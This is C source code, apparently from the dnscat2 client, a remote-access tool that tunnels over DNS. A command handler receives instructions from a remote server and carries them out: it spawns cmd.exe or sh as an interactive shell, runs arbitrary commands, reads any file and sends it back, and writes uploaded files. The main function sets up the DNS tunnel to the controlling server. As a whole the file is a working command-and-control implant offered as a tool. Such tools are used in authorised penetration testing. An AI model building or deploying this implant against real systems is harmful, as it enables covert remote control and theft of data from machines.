session_t *session_create_exec(select_group_t *group, char *name, char *process) { session_t *session = session_create(name); session->driver = driver_create(DRIVER_TYPE_EXEC, driver_exec_create(group, process)); return session; }
static void handle_data_in(driver_command_t *driver, uint8_t *data, size_t length) { command_packet_stream_feed(driver->stream, data, length); while(command_packet_stream_ready(driver->stream)) { command_packet_t *in = command_packet_stream_read(driver->stream); command_packet_t *out = NULL; printf("Got a command: "); command_packet_print(in); if(in->command_id == COMMAND_PING && in->is_request == TRUE) { printf("Got a ping request! Responding!\n"); out = command_packet_create_ping_response(in->request_id, in->r.request.body.ping.data); } else if(in->command_id == COMMAND_SHELL && in->is_request == TRUE) { #ifdef WIN32 driver_exec_t *driver_exec = driver_exec_create(driver->group, "cmd.exe", in->r.request.body.shell.name); #else /* TODO: Get the 'default' shell? */ driver_exec_t *driver_exec = driver_exec_create(driver->group, "sh", in->r.request.body.shell.name); #endif out = command_packet_create_shell_response(in->request_id, driver_exec->session_id); } else if(in->command_id == COMMAND_EXEC && in->is_request == TRUE) { driver_exec_t *driver_exec = driver_exec_create(driver->group, in->r.request.body.exec.command, in->r.request.body.exec.name); out = command_packet_create_exec_response(in->request_id, driver_exec->session_id); } else if(in->command_id == COMMAND_DOWNLOAD && in->is_request == TRUE) { struct stat s; if(stat(in->r.request.body.download.filename, &s) != 0) { out = command_packet_create_error_response(in->request_id, -1, "Error opening file for reading"); } else { uint8_t *data; #ifdef WIN32 FILE *f = NULL; fopen_s(&f, in->r.request.body.download.filename, "rb"); #else FILE *f = fopen(in->r.request.body.download.filename, "rb"); #endif if(!f) { out = command_packet_create_error_response(in->request_id, -1, "Error opening file for reading"); } else { data = safe_malloc(s.st_size); if(fread(data, 1, s.st_size, f) == s.st_size) out = command_packet_create_download_response(in->request_id, data, s.st_size); else out = command_packet_create_error_response(in->request_id, -1, "There was an error reading the file"); fclose(f); safe_free(data); } } } else if(in->command_id == COMMAND_UPLOAD && in->is_request == TRUE) { #ifdef WIN32 FILE *f; fopen_s(&f, in->r.request.body.upload.filename, "wb"); #else FILE *f = fopen(in->r.request.body.upload.filename, "wb"); #endif if(!f) { out = command_packet_create_error_response(in->request_id, -1, "Error opening file for writing"); } else { fwrite(in->r.request.body.upload.data, in->r.request.body.upload.length, 1, f); fclose(f); out = command_packet_create_upload_response(in->request_id); } } else { printf("Got a command packet that we don't know how to handle!\n"); out = command_packet_create_error_response(in->request_id, 0xFFFF, "Not implemented yet!"); } if(out) { uint8_t *data; uint32_t length; printf("Response: "); command_packet_print(out); data = command_packet_to_bytes(out, &length); message_post_data_out(driver->session_id, data, length); } } }
int main(int argc, char *argv[]) { /* Define the options specific to the DNS protocol. */ struct option long_options[] = { /* General options */ {"help", no_argument, 0, 0}, /* Help */ {"h", no_argument, 0, 0}, {"name", required_argument, 0, 0}, /* Name */ {"n", required_argument, 0, 0}, {"download",required_argument, 0, 0}, /* Download */ {"n", required_argument, 0, 0}, {"chunk", required_argument, 0, 0}, /* Download chunk */ {"ping", no_argument, 0, 0}, /* Ping */ /* Console options. */ {"console", no_argument, 0, 0}, /* Enable console (default) */ /* Execute-specific options. */ {"exec", required_argument, 0, 0}, /* Enable execute */ {"e", required_argument, 0, 0}, /* Listener options */ {"listen", required_argument, 0, 0}, /* Enable listener */ {"l", required_argument, 0, 0}, /* DNS-specific options */ {"dns", required_argument, 0, 0}, /* Enable DNS (default) */ {"dnshost", required_argument, 0, 0}, /* DNS server */ {"host", required_argument, 0, 0}, /* (alias) */ {"dnsport", required_argument, 0, 0}, /* DNS port */ {"port", required_argument, 0, 0}, /* (alias) */ /* Debug options */ {"d", no_argument, 0, 0}, /* More debug */ {"q", no_argument, 0, 0}, /* Less debug */ {0, 0, 0, 0} /* End */ }; /* Define DNS options so we can set them later. */ struct { char *host; uint16_t port; } dns_options = { DEFAULT_DNS_HOST, DEFAULT_DNS_PORT }; char c; int option_index; const char *option_name; NBBOOL output_set = FALSE; char *name = NULL; char *download = NULL; uint32_t chunk = -1; log_level_t min_log_level = LOG_LEVEL_WARNING; drivers_t input_type = TYPE_NOT_SET; char *exec_process = NULL; int listen_port = 0; /* Initialize the modules that need initialization. */ log_init(); sessions_init(); group = select_group_create(); /* Seed with the current time; not great, but it'll suit our purposes. */ srand((unsigned int)time(NULL)); /* This is required for win32 support. */ winsock_initialize(); /* Set the default log level */ log_set_min_console_level(min_log_level); /* Parse the command line options. */ opterr = 0; while((c = getopt_long_only(argc, argv, "", long_options, &option_index)) != EOF) { switch(c) { case 0: option_name = long_options[option_index].name; /* General options */ if(!strcmp(option_name, "help") || !strcmp(option_name, "h")) { usage(argv[0], "--help requested"); } else if(!strcmp(option_name, "name") || !strcmp(option_name, "n")) { name = optarg; } else if(!strcmp(option_name, "download")) { download = optarg; } else if(!strcmp(option_name, "chunk")) { chunk = atoi(optarg); } else if(!strcmp(option_name, "ping")) { if(input_type != TYPE_NOT_SET) too_many_inputs(argv[0]); input_type = TYPE_PING; /* Turn off logging, since this is a simple ping. */ min_log_level++; log_set_min_console_level(min_log_level); } /* Console-specific options. */ else if(!strcmp(option_name, "console")) { if(input_type != TYPE_NOT_SET) too_many_inputs(argv[0]); input_type = TYPE_CONSOLE; } /* Execute options. */ else if(!strcmp(option_name, "exec") || !strcmp(option_name, "e")) { if(input_type != TYPE_NOT_SET) too_many_inputs(argv[0]); exec_process = optarg; input_type = TYPE_EXEC; } /* Listener options. */ else if(!strcmp(option_name, "listen") || !strcmp(option_name, "l")) { if(input_type != TYPE_NOT_SET) too_many_inputs(argv[0]); listen_port = atoi(optarg); input_type = TYPE_LISTENER; } /* DNS-specific options */ else if(!strcmp(option_name, "dns")) { output_set = TRUE; driver_dns = driver_dns_create(group, optarg); } else if(!strcmp(option_name, "dnshost") || !strcmp(option_name, "host")) { dns_options.host = optarg; } else if(!strcmp(option_name, "dnsport") || !strcmp(option_name, "port")) { dns_options.port = atoi(optarg); } /* Debug options */ else if(!strcmp(option_name, "d")) { if(min_log_level > 0) { min_log_level--; log_set_min_console_level(min_log_level); } } else if(!strcmp(option_name, "q")) { log_set_min_console_level(min_log_level); } else { usage(argv[0], "Unknown option"); } break; case '?': default: usage(argv[0], "Unrecognized argument"); break; } } if(chunk != -1 && !download) { LOG_FATAL("--chunk can only be used with --download"); exit(1); } /* If no input was created, default to command. */ if(input_type == TYPE_NOT_SET) input_type = TYPE_COMMAND; switch(input_type) { case TYPE_CONSOLE: LOG_WARNING("INPUT: Console"); driver_console_create(group, name, download, chunk); break; case TYPE_COMMAND: LOG_WARNING("INPUT: Command"); driver_command_create(group, name); break; case TYPE_EXEC: LOG_WARNING("INPUT: Executing %s", exec_process); if(exec_process == NULL) usage(argv[0], "--exec set without a process!"); driver_exec_create(group, exec_process, name); break; case TYPE_LISTENER: LOG_WARNING("INPUT: Listening on port %d", driver_listener->port); if(listen_port == 0) usage(argv[0], "--listen set without a port!"); driver_listener = driver_listener_create(group, "0.0.0.0", listen_port, name); break; case TYPE_PING: LOG_WARNING("INPUT: ping"); driver_ping = driver_ping_create(group); break; case TYPE_NOT_SET: usage(argv[0], "You have to pick an input type!"); break; default: usage(argv[0], "Unknown type?"); } /* If no output was set, use the domain, and use the last option as the * domain. */ if(!output_set) { /* Make sure they gave a domain. */ if(optind >= argc) { LOG_WARNING("Starting DNS driver without a domain! You'll probably need to use --host to specify a direct connection to your server."); driver_dns = driver_dns_create(group, NULL); } else { driver_dns = driver_dns_create(group, argv[optind]); } } if(driver_dns) { if(dns_options.host == DEFAULT_DNS_HOST) driver_dns->dns_host = dns_get_system(); else driver_dns->dns_host = safe_strdup(dns_options.host); if(!driver_dns->dns_host) { LOG_FATAL("Couldn't determine the system DNS server! Please use --host to set one."); LOG_FATAL("You can also create a proper /etc/resolv.conf file to fix this"); exit(1); } driver_dns->dns_port = dns_options.port; if(driver_dns->domain) LOG_WARNING("OUTPUT: DNS tunnel to %s via %s:%d", driver_dns->domain, driver_dns->dns_host, driver_dns->dns_port); else LOG_WARNING("OUTPUT: DNS tunnel to %s:%d (no domain set! This probably needs to be the exact server where the dnscat2 server is running!)", driver_dns->dns_host, driver_dns->dns_port); } else { LOG_FATAL("OUTPUT: Ended up with an unknown output driver!"); exit(1); } /* Be sure we clean up at exit. */ atexit(cleanup); /* Add the timeout function */ select_set_timeout(group, timeout, NULL); while(TRUE) select_group_do_select(group, 1000); return 0; }